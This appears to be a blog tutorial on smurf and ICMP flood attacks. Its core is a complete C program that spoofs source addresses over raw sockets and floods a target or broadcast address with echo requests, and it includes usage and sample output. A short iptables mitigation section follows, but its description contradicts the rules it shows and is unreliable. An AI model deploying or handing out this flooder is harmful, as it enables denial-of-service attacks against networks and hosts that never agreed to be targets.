Smurf Attack with ICMP in C

No, this is not a gang of disgruntled smurfs attacking your base. A smurf attack is where a computer sends an ICMP Echo request to the broadcast IP address of your current network. In the 1990′s most computers would reply to the source IP of this broadcast. So essentially, to execute the smurf attack a user would spoof the IP address of the victim computer and thus all computers on the network would reply to that spoofed IP address and thus send a huge amount of traffic to that victim computer. Once Microsoft and Linux became aware of this exploit most Windows computers no longer will reply to an ICMP request that is destinated to the broadcast IP address for that network (which is a good thing). You can, however, still DoS a computer with ICMP Echo requests by sending a very large amount of traffic to the destination computer using a spoofed source IP address. This article will include a ICMP smurf attack program written in…you guessed it C! As well as ways to mitigate a DoS or Broadcast attack with IPtables.

ICMP Echo Request Code in C

The program I wrote takes three (3) command line arguments. The first is the source IP address to use, the second is the destination address, and the third argument is the number of packets to be sent. If you specify 0 packets it will send an infinite amount of packets. This program uses a raw socket to spoof the source IP address and therefore must be run as root.

Usage:

# ./icmp_flood 
 
Usage: ./icmp_flood <saddr> <daddr> <# packets>
        <saddr> = spoofed source address
        <daddr> = target IP address
        <# packets> = is the number of packets to send, 100 is the default, 0 = infinite

The code:

#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <netinet/in.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
#include <string.h>
#include <arpa/inet.h>
 
#define BUFFER_SIZE 400
#define PACKET_DELAY_USEC 30
#define DEF_NUM_PACKETS 100
 
char buf[BUFFER_SIZE];
 
char *usage = "\nUsage: ./icmp_flood <saddr> <daddr> <# packets>\n \
	<saddr> = spoofed source address\n \
	<daddr> = target IP address\n \
	<# packets> = is the number of packets to send, 100 is the default, 0 = infinite\n";
 
void set_ip_layer_fields(struct icmphdr *icmp, struct ip *ip)
{
    // IP Layer
    ip->ip_v = 4;
    ip->ip_hl = sizeof*ip >> 2;
    ip->ip_tos = 0;
    ip->ip_len = htons(sizeof(buf));
    ip->ip_id = htons(4321);
    ip->ip_off = htons(0);
    ip->ip_ttl = 255;
    ip->ip_p = 1;
    ip->ip_sum = 0; /* Let kernel fill in */
 
    // ICMP Layer
    icmp->type = ICMP_ECHO;
    icmp->code = 0;	
    icmp->checksum = htons(~(ICMP_ECHO << 8));	
}
 
void set_socket_options(int s)
{
    int on = 1;
 
    // Enable broadcast
    if(setsockopt(s, SOL_SOCKET, SO_BROADCAST, &on, sizeof(on)) < 0){
        perror("setsockopt() for BROADCAST error");
        exit(1);
    }
 
    // socket options, tell the kernel we provide the IP structure 
    if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on)) < 0){
        perror("setsockopt() for IP_HDRINCL error");
        exit(1);
    }	
}
 
int main(int argc, char *argv[])
{
    int s, i;	
    struct ip *ip = (struct ip *)buf;
    struct icmphdr *icmp = (struct icmphdr *)(ip + 1);
    struct hostent *hp, *hp2;
    struct sockaddr_in dst;
    int offset;
    int num = DEF_NUM_PACKETS;
 
    if(argc < 3){
        fprintf(stdout, "%s\n",usage);
        exit(1);
    }
 
    // If enough arguments supplied 
    if(argc == 4)
        num = atoi(argv[3]);
 
    // Loop based on the packet number
    for(i = 1; num == 0 ? num == 0 : i <= num; i++){
        // Clear data paylod
        memset(buf, 0, sizeof(buf));
 
        // Create RAW socket 
        if((s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0){
            perror("socket() error");
            exit(1);
        }
 
        set_socket_options(s);
 
        if((hp = gethostbyname(argv[2])) == NULL){
            if((ip->ip_dst.s_addr = inet_addr(argv[2])) == -1){
                fprintf(stderr, "%s: Can't resolve, unknown host.\n", argv[2]);
                exit(1);
            }
        }else
            memcpy(&ip->ip_dst.s_addr, hp->h_addr_list[0], hp->h_length);
 
        if((hp2 = gethostbyname(argv[1])) == NULL){
            if((ip->ip_src.s_addr = inet_addr(argv[1])) == -1){
                fprintf(stderr, "%s: Can't resolve, unknown host\n", argv[1]);
                exit(1);
            }
        }else
            memcpy(&ip->ip_src.s_addr, hp2->h_addr_list[0], hp->h_length);
 
        set_ip_layer_fields(icmp, ip);
 
        dst.sin_addr = ip->ip_dst;
        dst.sin_family = AF_INET;
 
        if(sendto(s, buf, sizeof(buf), 0, (struct sockaddr *)&dst, sizeof(dst)) < 0){
            fprintf(stderr, "Error during packet send.\n");
            perror("sendto() error");
        }else
            printf("sendto() is OK.\n");
 
        close(s);
        usleep(PACKET_DELAY_USEC);
    }
    return 0;
}

Execution of the program:

# ./icmp_flood 1.2.3.4 10.3.4.123 3
sendto() is OK.
sendto() is OK.
sendto() is OK.

Voila. It is as easy as that. Notice that this is a raw socket, I had to use the setsockopt feature to permit the send to a broadcast address, as well as allowing the kernel to provide checksum data during send. Other than that it is merely setting the source and destination IP addresses accordingly. As well as setting the correct ICMP flags to indicate a ICMP request. If you remove the delay (or set it to 0), you will notice that the destination machine will stop sending echo reply’s as it is overwhelmed with the requests.

Protecting Against Smurf Attacks

There are various ways to protect against a smurf attack. In fact, the Windows network stack already ignores ICMP echo requests with a broadcast destination so you get that for free. The current Windows firewall blocks ICMP requests by default now. In Linux you can use IPtables to mitigate this attack with various rulesets for ICMP, for example:

iptables -A INPUT -p icmp -m icmp –icmp-type address-mask-request -j DROP
iptables -A INPUT -p icmp -m icmp –icmp-type timestamp-request -j DROP
iptables -A INPUT -p icmp -m icmp -m limit –limit 1/second -j ACCEPT

This example permits only specific ICMP types, none of which are Echo Reply or Echo Request. Only address masking or timestamp (so you can detect that the machine is still alive but drop basic pings), and even then this only allows a packet rate limit of 1 packet per second to the host machine. This avoids both a smurf attack as well as a DoS attack because of the rate limiting rule. Never bad to be cautious on a network.